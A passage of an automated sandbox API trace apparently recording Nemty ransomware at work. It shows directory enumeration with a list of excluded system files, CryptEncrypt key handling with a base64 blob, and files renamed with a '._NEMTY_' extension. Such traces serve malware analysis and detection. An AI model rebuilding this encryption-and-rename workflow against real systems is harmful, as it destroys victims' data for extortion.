lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.376] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.376] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.376] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.382] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.382] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.382] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.382] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.388] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.388] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.388] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.388] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0077.388] CloseHandle (hObject=0xffffffff) returned 0 [0077.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0077.388] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0077.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0077.388] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0077.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0077.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0077.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0077.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0077.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0077.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0077.388] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv._nemty_kgobjgd_")) returned 0 [0077.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0077.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0077.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0077.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0077.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0077.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0077.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0077.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0077.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0077.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0077.389] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x721cd019, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x721cd019, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ec379ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2a8a, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Scenes_LOOP_BG.wmv", cAlternateFileName="")) returned 1 [0077.389] lstrcmpiW (lpString1="Scenes_LOOP_BG.wmv", lpString2=".") returned 1 [0077.389] lstrcmpiW (lpString1="Scenes_LOOP_BG.wmv", lpString2="..") returned 1 [0077.389] lstrcmpiW (lpString1="Scenes_LOOP_BG.wmv", lpString2="...") returned 1 [0077.389] lstrcmpiW (lpString1="Scenes_LOOP_BG.wmv", lpString2="windows") returned -1 [0077.389] lstrcmpiW (lpString1="Scenes_LOOP_BG.wmv", lpString2="$RECYCLE.BIN") returned 1 [0077.389] lstrcmpiW (lpString1="Scenes_LOOP_BG.wmv", lpString2="rsa") returned 1 [0077.389] lstrcmpiW (lpString1="Scenes_LOOP_BG.wmv", lpString2="NTDETECT.COM") returned 1 [0077.389] lstrcmpiW (lpString1="Scenes_LOOP_BG.wmv", lpString2="ntldr") returned 1 [0077.389] lstrcmpiW (lpString1="Scenes_LOOP_BG.wmv", lpString2="MSDOS.SYS") returned 1 [0077.389] lstrcmpiW (lpString1="Scenes_LOOP_BG.wmv", lpString2="IO.SYS") returned 1 [0077.389] lstrcmpiW (lpString1="Scenes_LOOP_BG.wmv", lpString2="boot.ini") returned 1 [0077.389] lstrcmpiW (lpString1="Scenes_LOOP_BG.wmv", lpString2="boot.ini") returned 1 [0077.389] lstrcmpiW (lpString1="Scenes_LOOP_BG.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0077.389] lstrcmpiW (lpString1="Scenes_LOOP_BG.wmv", lpString2="ntuser.dat") returned 1 [0077.389] lstrcmpiW (lpString1="Scenes_LOOP_BG.wmv", lpString2="desktop.ini") returned 1 [0077.389] lstrcmpiW (lpString1="Scenes_LOOP_BG.wmv", lpString2="CONFIG.SYS") returned 1 [0077.389] lstrcmpiW (lpString1="Scenes_LOOP_BG.wmv", lpString2="RECYCLER") returned 1 [0077.389] lstrcmpiW (lpString1="Scenes_LOOP_BG.wmv", lpString2="BOOTSECT.BAK") returned 1 [0077.389] lstrcmpiW (lpString1="Scenes_LOOP_BG.wmv", lpString2="bootmgr") returned 1 [0077.389] lstrcmpiW (lpString1="Scenes_LOOP_BG.wmv", lpString2="programdata") returned 1 [0077.389] lstrcmpiW (lpString1="Scenes_LOOP_BG.wmv", lpString2="appdata") returned 1 [0077.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0077.389] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scenes_LOOP_BG.wmv", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0077.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0077.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scenes_LOOP_BG.wmv", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Scenes_LOOP_BG.wmv", lpUsedDefaultChar=0x0) returned 18 [0077.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0077.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0077.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scenes_LOOP_BG.wmv", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0077.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0077.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scenes_LOOP_BG.wmv", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Scenes_LOOP_BG.wmv", lpUsedDefaultChar=0x0) returned 18 [0077.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0077.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0077.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0077.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0077.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scenes_LOOP_BG.wmv", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0077.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0077.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scenes_LOOP_BG.wmv", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Scenes_LOOP_BG.wmv", lpUsedDefaultChar=0x0) returned 18 [0077.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0077.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0077.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scenes_LOOP_BG.wmv", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0077.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0077.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scenes_LOOP_BG.wmv", cchWideChar=18, lpMultiByteStr=0x4f9ed58, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Scenes_LOOP_BG.wmv", lpUsedDefaultChar=0x0) returned 18 [0077.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0077.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0077.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0077.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0077.390] Sleep (dwMilliseconds=0x5) [0077.405] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe1c8ab70, dwHighDateTime=0x1d561e7)) [0077.405] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe1c8ab70, dwHighDateTime=0x1d561e7)) [0077.405] GetLastError () returned 0x5 [0077.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0077.405] GetLastError () returned 0x5 [0077.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0077.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0077.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0077.405] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0077.405] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0077.405] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0077.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0077.405] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="1IxGq1ygbiTtbkgtv9vf4XC08Tx/TtImNFTVD98J7R+GqaJJvBVmwDEja7Exc9hE\r\nk7VTAXQEE//6XrmBh0oBR/J8eqmHGJRDN1CV0NnhnO0L24POUWfS8fXqA6Nz1iv3\r\nronuvf+6E/+thZk8JwG+ac7vUCTNdRNQP7tMm1gzdQ7c2IM+55YhZaAC6kN6Ii6d\r\nb02x1U+EKSCpnlyPIEXoaZFIWcF3LF/LsZzth8qRuPzpReIraH4LTM3L7hYIgvYM\r\nkXvOMt1j24qrzFLbrpsTFtmrIdSFo6/FilPdpke/RgoK6HttCHHX8JqC86N7zRKl\r\nDbdPsV7aWNpIb/6eBvS3Ew==\r\n", pcchString=0x653e91c) returned 1 [0077.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0077.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0077.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0077.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0077.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0077.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0077.406] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.406] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0077.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0077.406] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.406] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.415] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.415] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.415] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.415] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.424] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.425] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.425] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.425] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.434] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.434] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.434] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.434] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.443] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.443] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.453] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.453] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.453] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.453] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.464] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.464] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.464] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.464] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.473] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.473] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.473] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.473] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.482] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.482] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.482] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.483] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.492] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.492] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.492] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.492] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.501] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.501] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.501] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.501] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.507] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.507] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.508] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.508] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.513] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.514] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.514] SetFilePointer (in: hFile=0xffffffff, 